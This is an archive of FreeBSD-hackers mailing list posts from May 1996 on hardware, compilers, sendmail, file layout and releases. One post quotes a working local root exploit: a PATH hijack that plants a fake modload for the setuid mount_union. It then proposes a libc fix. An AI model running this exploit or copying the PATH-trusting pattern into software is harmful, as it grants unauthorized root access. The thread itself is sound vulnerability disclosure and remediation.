-0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> >On another note, anyone know where I might find a test program to see if th e >> >PCI chipset in this PP200 can sustain more than 5mb/sec ? >> >> If it doesn't, it's _severly_ broken. >> >> PCI is supposed to be capable of up to 133MB/s (~33MHz * 32-bits). >Cough.... It has been known for a while now that the PCI chipset >on the PPro has had it shares of problems and one of them being >if memory does not fail me that writes to the PCI bus are limited >to 5MB/sec. Ouch! Well, like I said, _severely_ broken... ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Sat May 18 12:40:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA16096 for hackers-outgoing; Sat, 18 May 1996 12:40:13 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA16091 for ; Sat, 18 May 1996 12:40:11 -0700 (PDT) Received: from nervosa.com (root@nervosa.com [192.187.228.86]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id MAA29333 for ; Sat, 18 May 1996 12:40:09 -0700 Received: from onyx.nervosa.com (coredump@onyx.nervosa.com [10.0.0.1]) by nervosa.com (8.7.5/8.7.3) with SMTP id MAA01879; Sat, 18 May 1996 12:24:21 -0700 (PDT) Date: Sat, 18 May 1996 12:24:19 -0700 (PDT) From: invalid opcode To: "David S. Miller" cc: nate@sri.MT.net, imp@village.org, msmith@atrad.adelaide.edu.au, hackers@freebsd.org Subject: Re: Note from Usenet In-Reply-To: <199605180711.DAA04560@huahaga.rutgers.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 18 May 1996, David S. Miller wrote: > Incorrect, Linus wanted 2.0 out the door before he went to give a talk > at a conference. We didn't get some things done we wanted to, and he > is gone for the conference, so as of now we are at pre2.0.5 and will > continue to work towards 2.0 when he returns. This gives us the time > we need to fix the TCP bugs. > David S. Miller > davem@caip.rutgers.edu Does Linus provide benefits and stock options? He seems to think he is the CEO, heh. == Chris Layne ======================================== Nervosa Computing == == coredump@nervosa.com ================ http://www.nervosa.com/~coredump == From owner-freebsd-hackers Sat May 18 13:02:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA17095 for hackers-outgoing; Sat, 18 May 1996 13:02:06 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA17087 for ; Sat, 18 May 1996 13:01:59 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id WAA02461 for ; Sat, 18 May 1996 22:01:57 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16906 for freebsd-hackers@freebsd.org; Sat, 18 May 1996 22:01:57 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id TAA01088 for freebsd-hackers@freebsd.org; Sat, 18 May 1996 19:10:22 +0200 (MET DST) From: J Wunsch Message-Id: <199605181710.TAA01088@uriah.heep.sax.de> Subject: Re: C Programming Question To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 18 May 1996 19:10:21 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605170741.HAA05958@netfl15a.devetir.qld.gov.au> from Stephen Hocking at "May 17, 96 07:41:11 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Stephen Hocking wrote: > > I've tried using atof() and strtod(), and both return the > >same answer...0. > > > > Remember to include math.h or declare atof to be double. ATOF(3) FreeBSD Programmer's Manual ATOF(3) NAME atof - convert ASCII string to double SYNOPSIS #include ^^^^^^^^^^^^^^^^^^^ double atof(const char *nptr) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 13:02:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA17150 for hackers-outgoing; Sat, 18 May 1996 13:02:28 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA17115; Sat, 18 May 1996 13:02:16 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id WAA02477; Sat, 18 May 1996 22:02:04 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16913; Sat, 18 May 1996 22:02:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id UAA00516; Sat, 18 May 1996 20:58:54 +0200 (MET DST) From: J Wunsch Message-Id: <199605181858.UAA00516@uriah.heep.sax.de> Subject: Re: sendmail read errors/timeouts etc. To: scotto@remuda.com Date: Sat, 18 May 1996 20:58:53 +0200 (MET DST) Cc: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org, freebsd-bugs@freebsd.org, a-scotov@exchange.microsoft.com Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: from Scott Overholser at "May 17, 96 06:41:20 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Scott Overholser wrote: > the troublesome sites (that i know of) are microsoft.com, msn.com, and > noa.com. i *absolutely* cannot send mail to recipient@microsoft.com or > recipient@noa.com. i seem to be able to send mail to recipient@msn.com Don't know if this is related, but we recently discovered (while hunting for a problem with some self-written Winlose 95 rsh-client) that Winlose 95 doesn't know how to handle TCP connections. Not that this really suprised me, but it effectively makes any rsh command useless that tries to take data from stdin. The bug is that Winlose never sends a FIN flag, but immediately sends a package with an RST in it. This causes the remote command to be aborted (as opposed to see a closed connection, and process it as an EOF condition). Since your problems always happen while the sendmail is waiting for the QUIT handshake, it may be the same problem. Dunno if this is only apparent for some version of Winlose 95. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 13:02:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA17170 for hackers-outgoing; Sat, 18 May 1996 13:02:32 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA17149 for ; Sat, 18 May 1996 13:02:27 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id WAA02457 for ; Sat, 18 May 1996 22:01:56 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA16902 for freebsd-hackers@freebsd.org; Sat, 18 May 1996 22:01:55 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id TAA00985 for freebsd-hackers@freebsd.org; Sat, 18 May 1996 19:05:06 +0200 (MET DST) From: J Wunsch Message-Id: <199605181705.TAA00985@uriah.heep.sax.de> Subject: Re: /usr/adm use To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 18 May 1996 19:05:05 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605181451.HAA05190@seagull.rtd.com> from Don Yuniskis at "May 18, 96 07:51:36 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > X and at least nas appear to expect /usr/adm for log files. /usr/adm is ugly. The /usr filesystem is potentially read/only. (Ok, X11 already broke this for us, but that doesn't mean we should break it all over the place. Perhaps X11R20 will have fixed it and use /var for the junk files, and /etc for the configuration files. :) Most newer SysV's i've seen, and i think Linux as well, use /var/adm for it, some of them keep the legacy symlink for /usr/adm. > Is this use deprecated under BSD derivatives? What would an > appropriate alternative for these be (e.g., /var/log??) Depends on the purpose of the files. /var/log and /var/run are good candidates. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 13:14:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA17714 for hackers-outgoing; Sat, 18 May 1996 13:14:07 -0700 (PDT) Received: from lilly.ping.de (root@lilly.ping.de [193.100.14.2]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA17708 for ; Sat, 18 May 1996 13:14:01 -0700 (PDT) Received: (from uucp@localhost) by lilly.ping.de (8.7.3/8.7.3/PING-1.0A) with UUCP id WAA00670; Sat, 18 May 1996 22:00:12 +0200 Received: from localhost (localhost [127.0.0.1]) by infinity.ping.de (8.6.12/8.6.12) with SMTP id VAA00672; Sat, 18 May 1996 21:51:10 +0200 Message-Id: <199605181951.VAA00672@infinity.ping.de> X-Authentication-Warning: infinity.ping.de: Host localhost didn't use HELO protocol X-Mailer: exmh version 1.6.6 3/24/96 To: Dan Polivy cc: freebsd-hackers@freebsd.org Subject: Re: SECURITY BUG in FreeBSD (fwd) In-reply-to: Your message of "Fri, 17 May 1996 19:06:03 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 18 May 1996 21:51:10 +0200 From: Andre Grosse Bley Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > export PATH=/tmp:$PATH #if zsh, of course > echo /bin/sh >/tmp/modload > chmod +x /tmp/modload > mount_union /dir1 /dir2 > and You are root! I think this one is easy to fix: edit /usr/src/lib/libc/gen/getvfsent.c In vfsload() you'll see following code: status = execlp("modload", "modload", "-e", name_mod, "-o", name_mod, "-u", "-q", path, (const char *)0); I replaced it by: status = execlp("/sbin/modload", "/sbin/modload", "-e", name_mod, "-o", name_mod, "-u", "-q", path, (const char *)0); rebuilt libc (and INSTALLED!) after that. And don't forget to rebuild /sbin/mount_union (and mount_msdos, both are setuid) This fixes the bug for me, i hope i didn't made any mistakes. Anyone could tell me if that's ok? BTW: Easier is to remove setuid bit from mount_union (and msdos, both are setuid!) -- Regards, Andre From owner-freebsd-hackers Sat May 18 13:39:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA19264 for hackers-outgoing; Sat, 18 May 1996 13:39:37 -0700 (PDT) Received: from caipfs.rutgers.edu (root@caipfs.rutgers.edu [128.6.155.100]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA19259 for ; Sat, 18 May 1996 13:39:32 -0700 (PDT) Received: from huahaga.rutgers.edu (huahaga.rutgers.edu [128.6.155.53]) by caipfs.rutgers.edu (8.6.9+bestmx+oldruq+newsunq+grosshack/8.6.9) with ESMTP id QAA29146; Sat, 18 May 1996 16:39:17 -0400 Received: (davem@localhost) by huahaga.rutgers.edu (8.6.9+bestmx+oldruq+newsunq+grosshack/8.6.9) id QAA10024; Sat, 18 May 1996 16:39:16 -0400 Date: Sat, 18 May 1996 16:39:16 -0400 Message-Id: <199605182039.QAA10024@huahaga.rutgers.edu> From: "David S. Miller" To: coredump@nervosa.com CC: nate@sri.MT.net, imp@village.org, msmith@atrad.adelaide.edu.au, hackers@freebsd.org In-reply-to: (message from invalid opcode on Sat, 18 May 1996 12:24:19 -0700 (PDT)) Subject: Re: Note from Usenet Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Date: Sat, 18 May 1996 12:24:19 -0700 (PDT) From: invalid opcode Does Linus provide benefits and stock options? He seems to think he is the CEO, heh. Heh, no we just think he's a good quality control mechanism so we use him for all he's worth ;-) Later, David S. Miller davem@caip.rutgers.edu From owner-freebsd-hackers Sat May 18 13:51:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA20027 for hackers-outgoing; Sat, 18 May 1996 13:51:36 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA20016 for ; Sat, 18 May 1996 13:51:32 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id WAA03422; Sat, 18 May 1996 22:51:16 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA17387; Sat, 18 May 1996 22:51:13 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id WAA01331; Sat, 18 May 1996 22:39:13 +0200 (MET DST) From: J Wunsch Message-Id: <199605182039.WAA01331@uriah.heep.sax.de> Subject: Re: Releases - OK, I'm Stumped To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sat, 18 May 1996 22:39:13 +0200 (MET DST) Cc: dennis@etinc.com (Dennis) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605181722.NAA17859@etinc.com> from Dennis at "May 18, 96 01:22:22 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Dennis wrote: > > On www.freebsd.org it says that the next release is 2.1.1 and that it > will be derived from 2.1-stable, and that "occasional snapshots" will > be available. Now there are snapshots of 2.2 on CDROM, but no 2.1.1 > release. Is 2.2 the next release? When does -stable migrate to 2.2 or > 2.1.1? 2.1.1 will be the next release. 2.2 is an independent line (and kept in parallel). It's not yet clear whether there will be any 2.1.1 SNAP on CD-ROM (i think). The only thing you need to understand is that both branches are kept in parallel. The target groups of both are quite different. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat May 18 14:06:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA20982 for hackers-outgoing; Sat, 18 May 1996 14:06:58 -0700 (PDT) Received: from spooky.rwwa.com (rwwa.com [198.115.177.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA20976 for ; Sat, 18 May 1996 14:06:52 -0700 (PDT) Received: from localhost.rwwa.com (localhost.rwwa.com [127.0.0.1]) by spooky.rwwa.com (8.6.12/8.6.12) with SMTP id RAA04050 for ; Sat, 18 May 1996 17:08:20 -0400 Message-Id: <199605182108.RAA04050@spooky.rwwa.com> X-Authentication-Warning: spooky.rwwa.com: Host localhost.rwwa.com didn't use HELO protocol X-Mailer: exmh version 1.6.5 12/11/95 To: freebsd-hackers@freebsd.org Subject: Re: Slow tty updates and high load, but idle CPU In-reply-to: Your message of "Fri, 17 May 1996 19:36:49 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 18 May 1996 17:08:20 -0400 From: Robert Withrow Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > When I say "slow", I mean that the screen is redrawn in "chunks". > For example, if I hit ^L in a Pine window to refresh the screen, the > screen clears, and groups of 5 or 6 lines will reappear, exactly one > second apart. This "chunky updating" appears to happen with 600- > character blocks or so. It is not oriented on line boundaries, since > a refresh chunk can stop in the middle of a line. I have seen the behavior once with my P6-200 worstation on 2.1R. It started one afternoon (a few days agon) after the machine had been up for days. Xterm windows and other more-or-less tty-looking things started updating in chunks every 1 second. I tried killing things (like the X server, etc...) and other diddling but only a reboot cured it. This has only happened once in several months of almost constant heavy use, but it was rather scary once it started.... ----------------------------------------------------------------------------- Robert Withrow, Tel: +1 617 592 8935, Net: witr@rwwa.COM From owner-freebsd-hackers Sat May 18 14:35:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA22976 for hackers-outgoing; Sat, 18 May 1996 14:35:57 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA22968 for ; Sat, 18 May 1996 14:35:52 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.6.12/1.2) id OAA29613; Sat, 18 May 1996 14:35:42 -0700 From: Don Yuniskis Message-Id: <199605182135.OAA29613@seagull.rtd.com> Subject: Re: /usr/adm use To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 18 May 1996 14:35:42 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199605181705.TAA00985@uriah.heep.sax.de> from "J Wunsch" at May 18, 96 07:05:05 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! > > X and at least nas appear to expect /usr/adm for log files. > > /usr/adm is ugly. The /usr filesystem is potentially read/only. (Ok, > X11 already broke this for us, but that doesn't mean we should break > it all over the place. Perhaps X11R20 will have fixed it and use /var > for the junk files, and /etc for the configuration files. :) So, presumably, I shouldn't mess with Project.tmpl to fix ADMDIR but, rather, wait for the XFree86 folks to pick up on this? > Most newer SysV's i've seen, and i think Linux as well, use /var/adm > for it, some of them keep the legacy symlink for /usr/adm. An adequate workaround? > > Is this use deprecated under BSD derivatives? What would an > > appropriate alternative for these be (e.g., /var/log??) > > Depends on the purpose of the files. /var/log and /var/run are good > candidates. I think they are just error logs (in the case of nas) so I suspect /var/log would be the choice... Thx! --don From owner-freebsd-hackers Sat May 18 15:16:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA24392 for hackers-outgoing; Sat, 18 May 1996 15:16:48 -0700 (PDT) Received: from mongoose.bostic.com (bostic@mongoose.BSDI.COM [205.230.230.129]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA24386 for ; Sat, 18 May 1996 15:16:45 -0700 (PDT) Received: (from bostic@localhost) by mongoose.bostic.com (8.7.4/8.7.3) id RAA01452; Sat, 18 May 1996 17:39:29 -0400 (EDT) Date: Sat, 18 May 1996 17:39:29 -0400 (EDT) From: Keith Bostic Message-Id: <199605182139.RAA01452@mongoose.bostic.com> To: bostic@bsdi.com Subject: nex/nvi version 1.66 available for anonymous ftp Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Version 1.66 of nex/nvi is now available. There have been only a few changes since the last public release of nvi: + If a tags file has more than a single line with the same leading tag name, nvi now treats it as a tag referencing multiple file locations, and the :tagnext and :tagprev commands will move around between those locations. I only know of one ctags implementation that produces tags files in this format, but it seems like the minimal approach for people building their own tags files using other tools. All of the other changes were bug fixes of one form or another. If you're interested in a further review of the changes that have been made, a complete change log is included with the distribution, in the file docs/changelog. Version 1.66 is available for anonymous ftp from the usual two sites: ftp.cs.berkeley.edu:ucb/4bsd/nvi.ALPHA.1.66.tar.gz ftp.bostic.com:pub/nvi.ALPHA.1.66.tar.gz Note, the UC Berkeley site is likely to provide faster transfer speeds. Please let me know if you have any problems, and thanks for using nvi! --keith From owner-freebsd-hackers Sat May 18 16:16:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA27868 for hackers-outgoing; Sat, 18 May 1996 16:16:00 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (paris.CS.Berkeley.EDU [128.32.34.47]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27857 for ; Sat, 18 May 1996 16:15:59 -0700 (PDT) Received: from paris.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by paris.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id QAA08097; Sat, 18 May 1996 16:15:54 -0700 From: Josh MacDonald Message-Id: <199605182315.QAA08097@paris.CS.Berkeley.EDU> To: Peter Mutsaers cc: freebsd-hackers@freebsd.org Subject: Re: internal compiler error In-reply-to: Your message of "Fri, 17 May 1996 18:40:30 +0200." <199605171640.SAA04402@plm.simplex.nl> Date: Sat, 18 May 1996 16:15:53 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 2.7.3 will be out soon. as to the cheap shot, whatever, I'll find way more bugs in 2.6.3's g++ than you'll find in 2.7.x. -josh > >> On Thu, 16 May 1996 22:31:29 -0600 you wrote: > > >> >> causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-st >able. > >> > NW> Hmm, it works fine under -stable with 2.6.3. > >> > NW> #cheap shot on# > NW> This is one of the reasons why we stick w/older versions of GCC. :) > NW> #cheap shot off# > >> > >> But the newer versions are quite a bit faster. > > NW> Huh? I don't think so, as a matter of fact in same cases they are > NW> slower, due to more memory use required for those with smaller memory > NW> systems. > > I didn't mean running the compiler is faster, but the result is > faster. I think I saw some comparisons between 2.6.3 and 2.7.2 a while > back. Correct me if I'm wrong. > > NW> And, you certainly can't mean that the optimized code is faster, > NW> because in some cases although it's faster it's wrong (ie; > NW> buggy). > > 2.7.0 and 2.7.1 had bugs (lots, especially in the c++ part). 2.7.2 had > some bugs when using -O2 or higher. There are intermediate releases, > like 2.7.2.9 (of which also a pentium optimized version is available > for FreeBSD) that has a lot of the known bugs fixed. All bugs I knew > were fixed. > > But maybe it is better to wait for 2.8.0 which is told to appear quite > soon. > > 2.7.2 has better support for templates and exceptions in c++. I can of > course put both 2.6.3 and 2.7.2 on my system. I have done that now; > but it is a pity of the wasted disk space of course. > > Regards, > > -- > ______________________________________________________________________ > Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, > plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Sat May 18 17:19:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA14458 for hackers-outgoing; Sat, 18 May 1996 17:19:20 -0700 (PDT) Received: from ref.tfs.com (ref.tfs.com [140.145.254.251]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA14442 for ; Sat, 18 May 1996 17:19:18 -0700 (PDT) Received: (from julian@localhost) by ref.tfs.com (8.7.3/8.6.9) id MAA11886; Fri, 17 May 1996 12:57:54 -0700 (PDT) Message-Id: <199605171957.MAA11886@ref.tfs.com> Subject: Re: Help To: bugnet@ix.netcom.com (TeeN-ZinE) Date: Fri, 17 May 1996 12:57:53 -0700 (PDT) From: "JULIAN Elischer" Cc: hackers@freebsd.org In-Reply-To: <317CE6D3.48C7@ix.netcom.com> from "TeeN-ZinE" at Apr 23, 96 10:19:00 pm X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The answer to your question varies.. how is the machine in question attached to 'the net'? what hardware is in that machine? if not directly attached, do you have a ppp account? a slip account? Is it directly attached? is is not attached at all? does it have a cdrom? send more info and I'll attempt to help... julian > > Ok i have been tryin to optain a Unix type system for a while now via > FTP. But as you know it can be hell. I was wondering if you can tell me > what directories i would need to download to get the system and where > and how i would install them. the help files make no since to me at all. > I would be very greatful. Thanks > > From owner-freebsd-hackers Sat May 18 20:09:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA02770 for hackers-outgoing; Sat, 18 May 1996 20:09:35 -0700 (PDT) Received: from xs1.simplex.nl (xs1.simplex.NL [193.78.46.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA02756 for ; Sat, 18 May 1996 20:09:30 -0700 (PDT) X-Organisation-1: Simplex Networking Amsterdam X (Inter)Network X-Organisation-2: Kruislaan 419-38a 1098 VA Amsterdam X Solutions & X-Organisation-3: tel:+31(20)-6932433 fax:+31(20)-6685486 X Access Provider Received: (from uucp@localhost) by xs1.simplex.nl (8.7.5/8.7.3-RS) with UUCP id FAA06524; Sun, 19 May 1996 05:08:08 +0200 (MET DST) Received: (from plm@localhost) by plm.simplex.nl (8.7.5/8.7.3) id JAA15835; Sat, 18 May 1996 09:24:43 +0200 (MET DST) Date: Sat, 18 May 1996 09:24:43 +0200 (MET DST) Message-Id: <199605180724.JAA15835@plm.simplex.nl> From: Peter Mutsaers To: terry@lambert.org CC: freebsd-hackers@FreeBSD.org In-reply-to: <199605172004.NAA20510@phaeton.artisoft.com> (message from Terry Lambert on Fri, 17 May 1996 13:04:38 -0700 (MST)) Subject: Re: internal compiler error Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >> On Fri, 17 May 1996 13:04:38 -0700 (MST) you wrote: NW> #cheap shot on# NW> This is one of the reasons why we stick w/older versions of GCC. :) NW> #cheap shot off# >> >> But the newer versions are quite a bit faster. I used to use Linux >> until recently and it uses 2.7.2 for everything, so it must be >> possible for FreeBSD too. It is a pity to ignore such easy performance >> gain. TL> I guarantee that I can make any code you can name run 50% faster. TL> Provided it does not have to produce correct output (a condition you TL> seem to be willing to accept). I think you are exaggerating a bit about the reliability of 2.7.2. Look, I'm not defending Linux here against FreeBSD. I switched a few weeks ago and I'm very happy with it. Using FreeBSD saves me a lot of time and gives me a system that is much easier to administer. But Linux also is quite a lot of source code where a lot can go wrong, if you put everything together. Comparable in amount and complexity to /usr/src of FreeBSD. I had my own "distribution" that was completely compiled with 2.7.2 (plus some patches made by H.J. Lu) and -O2. There were no problems (especially not the last months after H.J. Lu's latest patches) caused by compiler bugs. Who says 2.6.3 is bug free? There is always a small chance for compiler bugs. In those rare cases a workaround may be needed. I doubt that the latest release of 2.7.2 (2.7.2.9) has more bugs than 2.6.3 had. -- ______________________________________________________________________ Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Sat May 18 20:09:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA02783 for hackers-outgoing; Sat, 18 May 1996 20:09:38 -0700 (PDT) Received: from xs1.simplex.nl (xs1.simplex.NL [193.78.46.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA02777 for ; Sat, 18 May 1996 20:09:36 -0700 (PDT) X-Organisation-1: Simplex Networking Amsterdam X (Inter)Network X-Organisation-2: Kruislaan 419-38a 1098 VA Amsterdam X Solutions & X-Organisation-3: tel:+31(20)-6932433 fax:+31(20)-6685486 X Access Provider Received: (from uucp@localhost) by xs1.simplex.nl (8.7.5/8.7.3-RS) with UUCP id FAA06526 for freebsd-hackers@freebsd.org; Sun, 19 May 1996 05:09:34 +0200 (MET DST) Received: (from plm@localhost) by plm.simplex.nl (8.7.5/8.7.3) id JAA16089; Sat, 18 May 1996 09:47:28 +0200 (MET DST) To: freebsd-hackers@freebsd.org Subject: Re: internal compiler error References: <87k9ybxkdu.fsf@totally-fudged-out-message-id> From: Peter Mutsaers Date: 18 May 1996 09:47:24 +0200 In-Reply-To: Thomas Sparrevohn's message of Fri, 17 May 1996 08:42:59 +0200 (MET DST) Message-ID: <87bujmo22a.fsf@plm.simplex.nl> Lines: 30 X-Mailer: September Gnus v0.85/Emacs 19.30 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> On Fri, 17 May 1996 08:42:59 +0200 (MET DST), Thomas Sparrevohn >> said: TS> On Thu, 16 May 1996, Nate Williams wrote: >> >> Hmm, it works fine under -stable with 2.6.3. >> TS> But unfortunately our gcc gives an internal error when it compiles the TS> following program with "-O" and "-O2" but not "-O3" and with out TS> optimizations: TS> /* TS> * Compilation of the following program with gcc -O (v2.6.3 on FreeBSD 2.1.0) TS> * and (v2.6.3 current) yields: TS> * TS> * gcc: Internal compiler error: program cc1 got fatal signal 10 TS> * TS> */ There have been more bugs that appear with -O, but not with -O3. By the way, pgcc (2.7.2.9) does not 